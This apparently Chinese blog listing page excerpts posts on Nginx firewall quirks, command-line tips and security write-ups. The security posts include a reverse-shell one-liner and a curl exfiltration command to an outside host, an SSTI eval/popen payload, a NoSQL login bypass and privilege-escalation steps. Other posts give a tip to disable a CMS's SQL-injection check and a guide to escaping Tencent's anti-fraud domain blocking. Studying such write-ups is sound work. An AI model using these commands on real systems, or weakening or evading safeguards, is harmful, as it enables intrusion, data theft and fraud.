    对宝塔的Nginx防火墙进行卸载重装或者点过修复后,重新导入数据发现有问题,通过宝塔的备份功能导入的数据ip黑白名单会失效。 今下午突然发现网站对CDN节点ip进行了错误拦截导致无法访问,很莫名其妙,我防火墙明明添加了ip白名单竟然还会拦截。 第一时间怀疑是Fail2ban防爆破插件导致的问题,筛查后排除。 然后排查到宝塔专业版Nginx防火墙上,查看添加的ip白名单和黑名单,没有问题,数据导入后都在。 但是我重新添加ip白名单的时候发现竟然能重复添加?这就有问题了,如果是正常情况下重复添加会有提示的,而宝塔Nginx防火墙我今天刚新安装的应该没有问题,于是怀疑到了宝塔的这个导入导出备份功能。 然后我删掉全部ip白名单手动添加,还是拦截,感觉问题有点大,就把黑名单也清空了。 然后宝塔防火墙正常工作,不再误拦截。 这说明宝塔Nginx防火墙的导入配置导出配置功能是有问题的,重新导入的ip黑白名单混乱,导致异常拦截。 如果你也是碰到这种问题,就把ip黑白名单全部清空然后手动添加吧,不要用宝塔的备份功能。 宝塔防火墙问题版本:Nginx防火墙 9.2.1...

    2023-08-18 196
  • 记一次HC中因为JS拿下整个云!

    0x00 前言 本次分享主要是分享一次HC中的思路,值得大家学习,服务器已经交给相关部门进行取证等也已经打包结A了 0x01 信息收集 首先给到一个资产是二维码,是一张sese图片里面带有约炮的app下载,扫码后得到如下结果 得到如下结果:https://www.target.com 后进行访问主站 注册成功后发现全是妹子(........),这个时候先别急,咱第一步先去看他调用的JS资源,随便点击一个资源然后刷新一下看他F12网络   这里首先我只能用当时留下的毫无关联的图片进行演示了,当时我看到的JS文件叫 "MyProfile"   </p> 0x02 JS断点调试 这个凭借个人感觉就是个关键信息(我的资料 - > 配置信息?),   所以凭借这些理由,我在XHR中锁定了"MyProfile"这个关键字进行JS断点 然后刷新进行调试,在漫长的调试过程中我发现在一个很奇怪的JS文件中调用了我的MyProfile字段,叫 /assets/index-xxxxxx.js   一般来说我就会去审计一下这个JS文件,结果发现好东西了   bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"   0x03 新突破 我当时就立刻去访问了一下,发现竟然是一个gitlab!   </p> 找了一下历史漏洞,CVE-2021-22205 直接梭哈,成功拿到shell   </p> 由于是执行命令,所以写了shell反弹       echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.shchmod +x /tmp/haha.sh/bin/bash /tmp/haha.sh 成功反弹shell   </p> 发现是ubunto的16.04,但是本地提权失败,找了SUID也没有办法,想尽了各种办法都没办法提权,打算放弃了。 所以接下来就是去寻找Git权限能做的操作,找了一个下午,最终找到了backups目录里下找到了一个backup的tar包,应该八成就是gitlab上的备份了。   </p>   Flask之取文件 但是问题来了,我怎么做到在我反弹shell中把文件拖出来了呢?scp等都试过了不行,于是乎我就写了个flask的上传页面让shell去curl一下把文件post上来(感觉这思路骚的)   </p> 我的服务器                                     from flask import Flask,requestimport os app = Flask(__name__) @app.route('/upload',methods=['POST'])def upload_file(): file = request.files.get('file') if file : filename = file.filename file.save(os.path.join(os.getcwd(),filename)) return f"File {filename} saved successfully" else: return "worry" if __name__ == '__main__': app.run(host='0.0.0.0',debug=True,port=5000) 受控主机shell   curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar   0x04 云沦陷(泄露AK SK) 几个G,下载漫长的很呢!然后拖到本地后应该就是gitlab的备份了,(因为他备份文件名字中带有gitlab的版本号)要用到对应的gitlab的相应版本去搭建。 然后本地搭建导入备份后慢慢的寻找一些有用信息,后面突然发现一个叫application.yaml的文件,进行审计后泄露了ak和sk(这开发倒是备份挺明白的,全部都写清清楚楚)。 这个时候行云管家一把梭哈,因为权限很大,接管整个云了,总共是51台主机都拿下了。   </p> 0x05 总结 思路就是 :打点 -> JS文件断点调试 ->新突破上shell-> 解决困难-> 发现新大陆(本地搭建)-> 接管云,最后全部打包好给了JF,也进行取证立A了,到此因为一个JS文件拿下整个云结束了,思路可以学习一波。   </p>     文章来源:先知社区(1201463046740633)原文地址:https://xz.aliyun.com/t/12698  ...

    2023-08-17 141
  • PC端百度网盘不限速下载设置

    简单设置 PC端bai度网盘不限速下载 PS:使用之后会发现一些小问题,下载大文件会有加速,小文件加速不是很明显。 可能还存在更多无法加速的情况! 1   ...

    2023-08-15 212
  • 实战 | 记一次5500美金赏金的2FA绕过漏洞挖掘

    概括 在编辑用户详细信息(包括姓名、电子邮件或电话号码)时,付款应用程序需要通过您的电话号码和电子邮件进行 2FA 验证。我发现了一个简单的绕过实施的 2FA 流程的方法,攻击者可以通过该方法编辑用户详细信息,而无需手机/电子邮件访问权限,最终导致帐户被接管。 复现步骤 1.转到编辑部分,开始编辑电子邮件字段。 2.2FA 提示将要求您提供当前电子邮件的 OTP。 3.输入错误的一次性密码“123456”。拦截响应。 4.将响应从 {"success":"false"} 更改为 {"success":"true"} 。 5.2FA 提示将再次要求您提供当前电话号码的 OTP。 6.输入错误的一次性密码“123456”。拦截响应。 7.将响应从 {"success":"false"} 更改为 {"success":"true"} 。 8.提示会要求您输入要更改的电子邮件,在此输入攻击者电子邮件。 9.输入电子邮件收件箱中的 OTP。 10.刷新仪表板,电子邮件已更改。 漏洞为什么会发生 通常,在 2FA 验证(第一个 HTTP 请求)之后,会分配一个令牌,并且该令牌将用于电子邮件更改请求(第二个 HTTP 请求)。在这里,输入 OTP 时(在第一个 HTTP 响应中)没有发送此类令牌。这是多阶段操作时检查的常见情况。 漏洞报告时间线 2023 年 5 月 10 日 - 通过 Hackerone 报道 2023 年 5 月 11 日 - 状态更改为“已分类” 2023 年 6 月 7 日 - 重新测试完成 50 美元并解决 2023 年 6 月 10 日 - 5000 美元奖励 + 500 美元奖金    ...

    2023-08-15 151
  • 攻防演练 | 记一次打穿某车企全过程

    0x00 前言 本文介绍了笔者在某次攻防演练中,如何从外网渗透到某车企的内网的详细过程(为了保护敏感信息,所有数据都已经脱敏,有些截图也不完整,请见谅)。 这次网络攻防演练分为两个阶段一共十四天,前七天是私有资源阶段,后七天是公共资源池阶段。共有12支队伍参与比赛,我们公司全程只有两名选手参赛。由于公司从不提供一些辅助工具和人力资源,并且我俩近期连续参加了多场比赛,导致每次比赛后我俩都很内耗。 0x01 信息收集 裁判只给出了目标企业的名称,让我们自行寻找其他的信息,这是对我们资源差的队伍是一种考验。 幸运的是,笔者之前编写了一套信息收集的辅助脚本,现在可以派上大用场了。 首先,使用子公司收集脚本来搜索一级子公司。该脚本根据特定的条件和规则进行搜索,以获取与一级公司有50%的控股关系的子公司。然后,我们对这些一级子公司再次使用脚本进行搜索,以找到与它们有50%的控股关系的子公司。这个过程不断循环,直到没有符合条件的子公司为止,所以你看到下面最深达到了四级公司。 接下来,再用资产收集脚本对子公司收集脚本的ICP结果进行一系列的操作,该脚本包括子域名匹配、端口扫描、web路径搜索、服务识别等,最终结果会到了以下三个文件,其中ip文件可以交给灯塔去进行信息收集、url文件可以交给poc扫描器、详情文件可以在扫描poc的时候手工去寻找一些POC扫描器里面没有的漏洞(如弱口令,手动狗头)。 0x02 web打点 我先用poc扫描器(xray青春版,poc-bomber等开源作品)对资产收集的结果进行了一番扫描,结果没有发现一个可利用漏洞(人少公司也不提供些打点资源,怎么搞嘛,狗头保命)。没办法,只能老老实实手动地一个个分析哪些URL可能有惊喜了。在翻了一大堆无聊的页面后,我目光锁定在了一个url上,这url的title是XXConfluence当发现这个网站使用的是Confluence时,我想很多师傅们都知道该怎么做了。我立刻检测它是否存在RCE,经过一番尝试后,发现这个版本确实存在RCE,并且确认了服务器的操作系统是Linux。 接下来就把shell反弹到服务器上,发现已经拿到了无限制的shell访问权限。马上做了一个远程控制马并上传到目标服务器。MSF上线后我就查了一下网卡,发现这个服务器有个172.32.0.30的网卡,接着上传代理工具。 ...

    2023-08-14 190
  • 新的 Python URL 解析漏洞可能导致命令执行攻击

    Python URL 解析函数中的一个高严重性安全漏洞已被披露,该漏洞可绕过 blocklist 实现的域或协议过滤方法,导致任意文件读取和命令执行。 CERT 协调中心(CERT/CC)在周五的一份公告中说:当整个 URL 都以空白字符开头时,urlparse 就会出现解析问题。"这个问题会影响主机名和方案的解析,最终导致任何拦截列表方法失效"。 该漏洞为 CVE-2023-24329,CVSS 得分为 7.5。安全研究员 Yebo Cao 于 2022 年 8 月发现并报告了该漏洞。该漏洞已在以下版本中得到解决: >= 3.12 3.11.x >= 3.11.4 3.10.x >= 3.10.12 3.9.x >= 3.9.17 3.8.x >= 3.8.17 3.7.x >= 3.7.17 urllib.parse 是一个广泛使用的解析函数,可将 URL 分解为各个组成部分,或将各个组成部分合并为一个 URL 字符串。 CVE-2023-24329 的出现是由于缺乏输入验证,从而导致有可能通过提供以空白字符开头的 URL(例如 " https://youtube[.]com")来绕过 blocklisting 。 该漏洞可以帮助攻击者绕过主机设置的保护措施,同时在多种场景下助力 SSRF 和 RCE。 参考链接:https://thehackernews.com/2023/08/new-python-url-parsing-flaw-enables.html ...

    2023-08-14 138
  • 2023最新域名解除QQ拦截教程并延长拦截间隔

    2023最新域名解除拦截教程并增加解除几率并延长拦截间隔,最近的新方法按照这个方法有90%的几率可以解除,并且有很长一段时间不会被再次拦截。操作步骤1,首先需要把拦截的域名解析全部停用,添加根域名一级解析并用腾讯认可的程序搭建一个网站,网站源码在文章底部附件下载!2,然后访问这三个网址申诉的地方,不要一次提交多个平台,一般等待两三个小时就会有回复,网站申诉处理时间为工作日10:00-17:001.通过微信反诈实验室进行申诉2.通过腾讯安全网址那里检测申诉3.qq 直接申诉3,解除拦截以后不可以解析www.和 根域名(一级)需要等7天左右就可以把根域名搭建的网站换成自己的了。比如wordpress. 这个系统一般不被tx拉黑,哪里下载我就不用说了吧。 ...

    2023-08-14 171
  • 织梦dedecms出现Safe Alert Request Error step 的解决办法

    dedecms功能很强大,但总有些东西无法满足我们自己的需求,这就需要我们在设计模板时使用这个标记来编写程序,也总免不了要查询、更新、修改数据库。但是不是欣喜的编写完程序后运行程序系统却提示你Safe Alert Request Error step 1 或 Safe Alert Request Error step 2。引起这个的主要原因是dedecms 5.6开启了安全检测的功能,避免sql注入,提高系统的稳定性、安全性!我们完全可以在不关闭安全检测的前提下,实现这些功能!比如下面这段代码: {dede:php runphp='yes'} $tag = trim($_SERVER['QUERY_STRING']); $tags = explode('/', $tag); if(isset($tags[1])) { $tag = urldecode($tags[1]); } if(isset($tags[2])) { $PageNo = intval($tags[2]); } if(empty($PageNo))$PageNo=1; $PageNo=($PageNo-1); $sql_tag="select * from `dede_archives` where `id` in (select `aid` from `dede_taglist` where `tag` like '$tag') and `litpic`<>'' order by click desc limit $PageNo,8"; if(!isset($dsql)||!is_object($dsql)){ $dsql=new DedeSql(false);}   $dsql->SetQuery($sql_tag); $dsql->Execute(); @me="" while($row=$dsql->GetArray()){ $me=$me."<img src='".$row['litpic']."'>"; } {/dede:php} 该段代码理论上是实现查询某个TGA标签所对应的图片文章,而且是能翻页的!(这个只是个举例!)但在实际执行过程中却提示“Safe Alert: Request Error step 2”;经过研究发现,dedecms在执行自己编写的代码时会进行安全检测,以防被注入。牵扯到“select union”等数据库语句,有两种方法可以解决这个问题: 第一个方法: 在include文件夹中找到dedesql.class.php文件,打开后找到$this->safeCheck = true;将“true”修改为false即可屏蔽掉安全检测。当然,这样存在一定的安全隐患 第二种方法:不屏蔽安全检测 dedecms不是对selecet等语句敏感吗,那我就不用select语句进行查询,自己创立一个select的代替者,如用chaxun代替select,这样上面的查询语句就可以写成: $sql_tag="chaxun * from `dede_archives` where `id` in (chaxun `aid` from `dede_taglist` where `tag` like '$tag') and `litpic`<>'' order by click desc limit $PageNo,8"; 估计你就要问了,这样怎么可能正常执行啊,瞎搞嘛!是的,这样肯定是不行的。我们需要对dedesql.class.php进行一定的修改。原理就是将之前代替的“select”别名”chaxun”在安全检测后更正为select在dedesql.class.php中找到函数function CheckSql($db_string,$querytype=’select’)将函数的返回语 return $db_string; 替换为 return str_replace("dede_database_chaxun","select",$db_string); 然后在查找CheckSql()这个函数,共有2处调用一处为if($this->safeCheck) CheckSql($this->queryString,’update’);另一处为 if($this->safeCheck)   {    CheckSql($this->queryString);   } 将这两处分别修改为 if($this->safeCheck) $this->queryString=CheckSql($this->queryString,'update'); 和if($this->safeCheck)   {    $this->queryString=CheckSql($this->queryString);   } 好了,大功告成!如果需要使用到union,update等语句时都可以照此进行修改!...

    2023-08-13 159
  • 记一次flask框架环境综合渗透测试

    PART.01 登入过程 1. 访问靶场地址http://101.43.22.226/?name=2023,框架为Flask。 2. 测试存在ssti注入。 3. 直接执行以下命令。 http://101.43.22.226/?name={% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{b['eval'('__import__("os").popen("whoami").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} 4. 测试目标可以出网,直接执行命令反弹shell和上线msf。 5. 对当前机器进行信息搜集,存在双网卡172.25.1.3和10.10.10.100。 6. 添加路由。 7.对10.10.10.0段存活主机进行扫描, 8. 存活主机有10.10.10.101、10.10.10.102、10.10.10.200 和10.10.10.201。其中,200,201这两台机器开放了445端口,在此探测是否存在永恒之蓝漏洞。 9. 对200这台机器进行漏洞利用。由于不确定200这台机器是否出网,所以payload要设置成正向shell,最后成功获取到这台机器的权限。 10. 因为10.10.10.100这台机器是可以出网的,将它作为我们的跳板机。远程下载frp,搭建socks5代理。 11. 对10.10.10.101进行端口扫描,开放22和80端口,访问80的web服务。 12. 测试存在文件,文件包含漏洞(不存在远程文件包含)。 13. 经过fuzz读取到配置文件config.php,从中获取到数据库的账户密码。 14. base64解码后的数据库用户名为catcat,密码为wannatobeacat。但是由于数据库还是不能连接,因此想到了密码复用——使用ssh,登录上catcat的账户。 15. 当前用户权限较低,尝试提权。使用pspy扫描后发现,root用户每分钟会执行一次backup.sh,且当前用户catcat可以修改此文件。 16. 在backup.sh文件中添加 chmod 4475 /bin/bash,执行bash -p后成功提权。 17. 对10.10.10.102机器进行扫描,发现开放了22和5000端口。访问5000后发现,其是web服务。 18. 存在用户名枚举,但是未爆破出密码,sql注入也不存在。 19. 这里发现用的框架为Express。通常情况下,用的是mongdb数据库,尝试nosql注入。参考链接如下: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#exploits 20. 修改payload。 注意:需改动未Content-Type: application/json。 {"user": {"$ne": null}, "password": {"$ne": null}} 21.成功进入后台。 PART.02 渗透过程 1. 新建文章。 2. 提交后服务报错,从报错信息中获取到了网站的物理路径。 3. 存在上传功能点测试,返回非法的XML格式,并且发现数据库的请求头也是/articles/xml。查看是否存在xxe漏洞。 4. 尝试读取/etc/passwd文件,成功读取后确定存在xxe漏洞。 5. 就刚才获取到的网站物理路径,读取配置文件server.js的内容。 6. 执行命令反弹shell到主机10.10.10.100。 7. 发现当前用户可以凭借root权限执行/bin/check文件。 8. 查看/bin/check文件,引用os.py。 9. 此处直接修改os.py文件内容,以sudo的权限执行check文件即可提权(由于此处获取交互式shell就会系统停顿,所以没有继续提权)。 10. 主机10.10.10.201开放了比较多的端口,首先访问80端口,但其web服务需要进行验证,利用弱口令admin,admin成功进入后台。 11. 存在文件上传功能点,但是无论上传任何格式都能够成功返回,只是无法找到上传的路径。 12.此处提示样本会上传到文件共享服务器,测试团队将手动审查上传的内容,构造SCF文件以索取ntlm hash,并将文件上传到目标服务器。 13. 在跳板机上安装Respondr,并对其进行监听。 14. 成功抓取到NTLMv2 Hash。 15. 使用hashcat破解。 hashcat -m 5600 hash.txt rockyou.txt 16. 破解出密码为tobyallison31。此外,目标机器开放了5985端口,使用evil-winrm进行连接。 17. 生成正向木马bind.exe,上传到该目标机器后获取到meterpreter。 18. 查看powershell的历史记录,发现他下载并开启了Goservice服务,我们可以替换文件来进行提权。 19. 暂时停止服务。 20. 将bind.exe上传到目录,并重命名为service.exe。 21. 重新启动GoService服务。 22. 成功返回一个meterpreter且权限为system权限。 ...

    2023-08-13 129
  • 后门病毒携带蠕虫 使用多种免杀手段

    近期,火绒威胁情报系统监测到一款后门病毒正在快速传播,被激活后会释放多个恶意文件并执行,使黑客可以进行信息收集,远程控制等恶意操作。值得注意的是,该病毒不但使用多种免杀手段躲避查杀,其释放的子文件中还具有 Synares 蠕虫感染特征,可在受害者电脑的文件中进行传播。 用户点击病毒程序之后,该病毒就会释放并执行恶意文件,随后黑客可以远程控制用户电脑。除此之外,该黑客团伙在开发过程中疑似主机环境被Synares蠕虫病毒感染或有意捆绑,致使释放的子文件中存在着蠕虫的特征,增加了破坏性。执行流程如下图所示: 执行流程图 在免杀层面上,该病毒文件使用了包括:多层 PE 流调用、VMProtect 和 Safengine Shielden 加壳保护、DLL 内存加载、异常反调试、流程混淆等多种技术来进行对抗。在此,火绒工程师提醒大家警惕陌生文件,先查杀再使用。 一、样本分析: malware.exe: 在分析对抗层面上,病毒对运行逻辑进行了混淆处理,并利用了包括:函数指针动态获取、函数包装调用等手段来干扰静态分析: 函数指针动态获取 函数包装调用 在关键执行层面上,病毒文件先后释放 look2.exe 和 "HD_malware.exe" 文件并执行。其中 look2.exe 存放于用户的 TEMP 目录中,而 "HD_malware.exe" 则释放到桌面下,并赋予 "隐藏属性和系统保护属性" 隐藏自身。 执行流程图 文件示意图 Look2.exe: look2.exe 是一个支持持久化和配置更新的木马程序。该病毒在执行前会解密出互斥体名称: “kinh.xmcxmr.com:442:svchcst” ,通过该互斥体的成功创建与否来判断父进程 malware.exe 是否正在执行,以此决定后续操作。 父子进程交互 后续操作中,look2.exe 会尝试获取系统目录,然后释放一个以时间戳命名的 bat 文件,该文件实则为用于加载的 DLL 文件。根据父进程写入的执行标志位来决定是直接执行 DLL 内 MainThread 导出函数还是 Install 导出函数(这两个导出函数在后面解析),执行完后还尝试删除文件,但实际上由于文件被加载占用,所以无法被移除。 look2.exe 执行流程 另一种情况是 look2.exe 被用于执行配置更新操作,当命令行中包含 GUpdate 和要更新的注册表项时,程序会定位到指定的位置进行配置更新: 配置更新操作 释放的 DLL 文件实际上是 Gh0st 后门病毒的变种,该 dll 中包括 5 个导出函数,但都围绕着 MainThread 展开。导出函数名代表了真实意图,包括配置更新(DllUpdate)、创建服务(Install)、卸载服务(Uninstall)、服务启动函数(ServiceMain)。 导出函数列表 导出函数逻辑代码 MainThread 包含核心恶意功能,包括:终端数据收集,接收和执行控制命令、派发执行任意病毒模块等。火绒安全实验室在 2019 年发布的 《火绒5.0公测阶段就立功 有效防御某一类常见黑客攻击 》 文章中披露的后门病毒在执行流程和代码逻辑上,经对比与该函数没有太大改动,故不再重复分析。 注册表修改对比 信息收集对比图 HD_malware.exe: “HD__malware.exe” 是一个被 Synares 蠕虫病毒感染过的文件,当它执行时,会释放感染前的 ".cache_malware.exe" 源程序,并且执行蠕虫自身的感染操作,包括:更新自身配置、篡改注册表自启动项,感染指定位置 EXE 和 EXCEL 文件、远控,窃密等。执行流程如下所示: 执行流程图 Synares 蠕虫病毒是一个相对较老的病毒,虽然变种极多,但本次观察到的行为与以前版本并无太大变化,包括感染的三个指定位置为:%USERPROFILE%\Desktop、%USERPROFILE%\Documents、%USERPROFILE%\Downloads。包括键盘记录和 usb、目录文件信息记录,并通过邮件回传。包括基础远控功能:CMD 命令执行、屏幕截图、打印目录、下载文件、删除文件等,故不再重复分析。 代码逻辑图 ._cache_HD_malware.exe 释放出来的 ._cache_HD_malware.exe 是被感染前的原始程序,其套用 vmp 壳来试图隐藏自身逻辑: 套用 VMP 壳 在其内部嵌入了未加密的 EXE 文件,用于释放执行,并包含核心操作: 内嵌 EXE 文件 HD_.cache_HD_malware.exe 内嵌的 EXE 文件在释放时会再次以 “HD_” 做前缀,其同样被设置系统保护和隐藏属性,并且套用 SE 壳试图隐藏逻辑: 套用 SE 壳 当前文件示意图 该病毒文件执行时,会从 C2 服务器上下载 exploror.exe 写入到创建的 C:\windowss64 目录下 computer.exe 文件中并启动执行。 下载文件并执行 Computer.exe Computer.exe 是一个引导程序,用于引导内嵌的 DLL 加载执行。内嵌 DLL 是加密存储的,Computer.exe 在执行时会构造并利用异常来进行反调试,并且解密操作也在异常处理中定义。 解密 DLL 和异常反调试 在解密内嵌 DLL 后,会调用指定导出函数 fuckyou,剩下所有操作均由 DLL 内代码完成。 指定导出函数 该导出函数主体逻辑同样与火绒安全实验室在 2019 年发布的 《火绒5.0公测阶段就立功 有效防御某一类常见黑客攻击 》文章中提到的后门病毒,经对比并没有太大改动(DDOS 模块已移除),故不再重复分析。 代码对比 二:附录 HASH ...

    2023-08-13 134
  • Linux系统使用cp命令用法教程详解

    熟悉在 Linux 命令行中复制文件和目录的 cp 命令。 cp 命令是 Linux 中一个重要的命令,你可能经常会用到它。 正如名称所示,cp 代表 复制copy,它被用于 在 Linux 命令行中复制文件和目录。 这是一个相对简单的命令,只有几个选项,但你仍有必要深入了解它。 在展示 cp 命令的实际示例之前,我更建议你先熟悉绝对路径和相对路径的概念,将文件从一个位置复制到另一个位置时,你需要用到它们。 Linux 中的绝对路径和相对路径的不同之处 复制单个文件 cp 命令最简单和最常见的用途是复制文件,只需指定源文件和要“粘贴”文件的目标目录即可。 cp 源文件 目标目录 在复制文件的同时重命名它 你将文件复制到另一个位置时可以同时进行 重命名。这有点类似于文本编辑器中的“另存为”选项。 为此,你必须在路径中给出新的文件名。 cp 源文件 目标目录/新文件名 复制多个文件 你还可以将多个文件复制到另一个位置。 cp 文件1 文件2 文件3 目标目录 在这种情况下,你无法重命名文件。 你还可以使用通配符扩展,将特定后缀的文件复制到另一个位置: cp *.txt 目标目录 复制文件时避免覆盖现有文件 如果你将 file1.txt 复制到一个已经存在名为 file1.txt 文件的目录中,它会将原有的文件覆盖掉。 如果你不希望这样,cp 命令还提供了几个选项来处理文件覆盖的情况。 首先是使用选项 -i 的交互模式。在交互模式下,它会询问是否确认或放弃覆盖目标文件。 cp -i 源文件 目标目录 cp:覆盖 '目标目录/源文件' ? 按 Y 覆盖文件,按 N 跳过复制该文件。 选项 -n 代表完全取消覆盖。使用此选项时目标文件不会被覆盖。 cp -n 源文件 目标目录 还有一个选项 -b,在目标目录的文件将被覆盖时自动为其创建备份。我猜这里 b 代表 备份backup。 cp -b 源文件 目标目录 最后,还有一个“更新update”选项 -u,如果目标文件比源文件旧,或者目标文件不存在,就会被覆盖掉。 cp -u 源文件 目标目录 复制目录(文件夹) cp 命令也用来在 Linux 命令行中复制目录。 在复制目录时,你需要使用递归选项 -r。 cp -r 源目录 目标目录 你还可以将多个目录复制到另一个位置: cp -r 目录1 目录2 目录3 目标目录 在复制时保留属性 当你将文件复制到另一个位置时,它的 时间戳、文件权限 甚至所有权都会发生变化。 这是正常的行为。但在某些情况下,你可能希望在复制文件时保留其原始属性。 要保留属性,请使用选项 -p: cp -p 源文件 目标目录 ? 还有一个 -a 选项用于存档模式。它将连 ACL 也保留下来。 ...

    2023-08-12 131
  • 如何在命令行上舒适地生存?

    有时我与一些害怕使用命令行的朋友交谈,我感到自己给不出好的建议(我已经使用命令行太长时间了),因此我向一些 Mastodon上的人提出了以下问题: 如果在过去一到三年内,你刚刚不再害怕使用命令行了,是什么帮助了你? (如果你不记得,或者你已经使用命令行舒适地工作了 15 年,则无需回答——这个问题不适用于你 ?) 这个列表还不如我希望的那么长,但我希望通过发布它来收集更多的答案。显然,并没有一个单一的方法适用于所有人,不同的人会选择不同的路径。 我认为舒适使用命令行有三个方面:减少风险、动机和资源。我将先谈谈减少风险,然后是一些动机,并列出一些资源。 减少风险的方式 很多人(没错!)对在命令行上意外执行了一些无法撤销的破坏性操作感到担心。 以下是一些人们提到的帮助他们减少风险的策略: 定期备份(有人提到他们在上周的一个命令行错误中意外删除了整个家目录,但很幸运他们有备份)。 对于代码,尽可能多地使用 git。 将 rm设置为类似safe-rm或rmtrash这样的工具的别名,这样你就不会意外删除不应删除的内容(或者就设置别名到rm -i)。 尽量避免使用通配符,使用制表符键补全代替(我的 Shell 会使用 TAB键补全rm *.txt并显示我将要删除的内容)。 使用精美的终端提示符,可以显示当前目录、计算机名称、git分支和你是否具有 root 权限。 如果你计划对文件运行未经测试或危险的命令,先备份文件副本。 拥有一台专用的测试机器(如便宜的旧 Linux 计算机或树莓派)进行特别危险的测试,例如测试备份软件或分区。 对于危险命令,如果有的话,使用 --dry-run选项来查看执行结果而不实际执行操作。 在你的 Shell 脚本中构建自己的 --dry-run选项。 这些策略有助于降低在命令行上引发不可逆操作的风险。 杀手级应用程序 一些人提到了一个“杀手级命令行应用程序”,这激励他们开始花更多时间在命令行上。例如: ripgrep jq wget / curl git(一些人发现他们更喜欢使用 git 命令行界面而不是使用图形界面) ffmpeg(用于视频处理) yt-dlp 硬盘数据恢复工具(来自 这个精彩的故事) 还有一些人提到他们对图形界面工具感到失望(例如使用了所有内存,并使计算机崩溃的重型集成开发环境),并因此有动机用更轻量级的命令行工具替代它们。 激发人们的命令行技巧 有人提到被其他人在命令行上展示的酷炫功能所激励,例如: 命令行工具可以比你的 Hadoop 集群快 235 倍 Gary Bernhardt 的这个“命令行链锯”演讲 explainshell 有几个人提到了 explainshell,它可以让你粘贴任何命令行指令,并将其分解成不同的部分解释。 命令历史、制表符补全等等 有很多小技巧和窍门可以使在命令行上工作更容易,例如: 使用向上箭头查看先前的命令 使用 Ctrl+R搜索你的 Bash 历史记录 使用快捷键在行内导航:Ctrl+w(删除一个单词)、Ctrl+a(跳转到行首)、Ctrl+e(跳转到行尾),以及Ctrl+left arrow/Ctrl+right arrow(向前/向后跳转一个单词) 将 Bash 历史记录设置为无限制 使用 cd -返回上一个目录 文件名和命令名的制表符自动补全 学习如何使用像 less这样的分页工具阅读手册页或其他大型文本文件(如搜索、滚动等) 在 macOS 上使用 pbcopy/pbpaste将剪贴板内容复制/粘贴到 stdout/stdin 在编辑配置文件之前备份它们 fzf 很多人提到使用 fzf作为模糊搜索 Shell 历史记录的更好方法。除了作为更好的模糊搜索 Shell 历史记录的工具,人们还提到了一些其他用途: 选择 git分支(git checkout $(git for-each-ref --format='%(refname:short)' refs/heads/ | fzf)) 快速查找要编辑的文件(nvim $(fzf)) 切换 Kubernetes 上下文(kubectl config use-context $(kubectl config get-contexts -o name | fzf --height=10 --prompt="Kubernetes Context> ")) 从测试套件中选择要运行的特定测试 一般的模式是使用 fzf来选择某个对象(文件、git分支、命令行参数),fzf将所选对象输出到标准输出,然后将其插入作为另一个命令的命令行参数。 你还可以将 fzf用作工具,自动预览输出并快速迭代,例如: 自动预览 jq的输出(echo '' | fzf --preview "jq {q} ) 自动预览 sed的输出(echo '' | fzf --preview "sed {q} YOURFILE") 自动预览 awk的输出(echo '' | fzf --preview "awk {q} YOURFILE") 你可以参考这个思路。 通常,人们会为 fzf的使用定义别名,比如输入gcb或其他命令,以快速选择要检出的git分支。 树莓派 一些人开始使用树莓派,这样可以更安全地进行实验,而不必担心损坏计算机(只需擦除 SD 卡然后重新开始即可!)。 漂亮的 Shell 环境 很多人说,当他们开始使用像 oh-my-zsh或Fish这样更用户友好的 Shell 环境时,他们在命令行上感到更舒适。我非常同意这一点 – 我已经使用 Fish 十年了,我非常喜欢它。 在这里还有一些其他的事情可以做: 有些人说,让他们的终端更漂亮可以帮助他们感到更舒适(“让它变成粉色!”)。 设置一个漂亮的 Shell 提示符来提供更多信息(例如,当命令失败时,可以将提示符设置为红色)。特别是 transient prompts(在当前命令设置一个非常花哨的提示符,但在之前的命令中设置一个简单得多的提示符)看起来非常好。 一些用于美化终端的工具: 我使用 base16-shell powerlevel10k是一个流行的漂亮的 Zsh 主题,具有 transient prompts starship是一个漂亮的提示符工具 在 Mac 上,我认为 iTerm2比默认的终端更容易自定义。 漂亮的文件管理器 一些人提到了像 ranger或nnn这样的漂亮的终端文件管理器,这是我之前没有听说过的。 一个有帮助的朋友或同事 一个可以回答初学者问题并给你指点的人是无价的。 通过肩并肩地观察学习 有人提到观察更有经验的人使用终端 – 有很多经验丰富的用户甚至没有意识到自己在做什么,你可以从中学到很多小技巧。 别名 很多人说,为常用任务创建自己的别名或脚本就像是一个神奇的“灵光一现”时刻,因为: 他们不必记住语法 然后他们就有了一份自己常用命令的列表,可以轻松调用 查找示例的备忘单 很多手册页没有示例,例如 openssl s_client的手册页就没有示例。这使得起步变得更加困难! 人们提到了一些备忘单工具,比如: tldr.sh cheat(还可以进行编辑 – 你可以添加自己的命令以供以后参考) um(一个非常精简的需要自己构建的系统) 例如,openssl 的备忘单非常棒 – 我认为它几乎包含了我在实际中使用openssl时用过的所有内容(除了openssl s_client的-servername选项)。 有人说他们配置了他们的 .bash_profile,这样每次登录时都会打印出一张备忘单。 不要试图背诵 一些人说他们需要改变自己的方法 – 他们意识到不需要试图记住所有的命令,只需按需查找命令,随着时间的推移,他们会自然而然地记住最常用的命令。 (我最近对学习阅读 x86 汇编有了完全相同的体会 – 我正在上一门课程,讲师说“是的,刚开始时可以每次都查找,最终你会记住最常见的指令。”) 还有一些人说相反的观点 – 他们使用间隔重复应用程序(如 Anki)来记忆常用的命令。 Vim 有人提到他们开始在命令行上使用 Vim 编辑文件,一旦他们开始使用终端文本编辑器,使用命令行处理其他事情也变得更自然。 此外,显然有一个名为 micro的新编辑器,像是更好的pico/nano,适用于那些不想学习 Emacs 或 Vim 的人。 桌面上使用 Linux 有人说他们开始使用 Linux 作为他们的日常主力系统,而需要修复 Linux 问题可以帮助他们学习。这也是我在大约 2004 年熟悉命令行的方式(我非常喜欢安装各种不同的 Linux 发行版,以找到我最喜欢的那个),但我猜这不是如今最受欢迎的策略。 被迫仅使用终端 有些人说他们参加了一门大学课程,教授让他们在终端上做所有事情,或者他们自己制定了一个规则,一段时间内必须在终端上完成所有工作。 工作坊 有几个人说像 Software 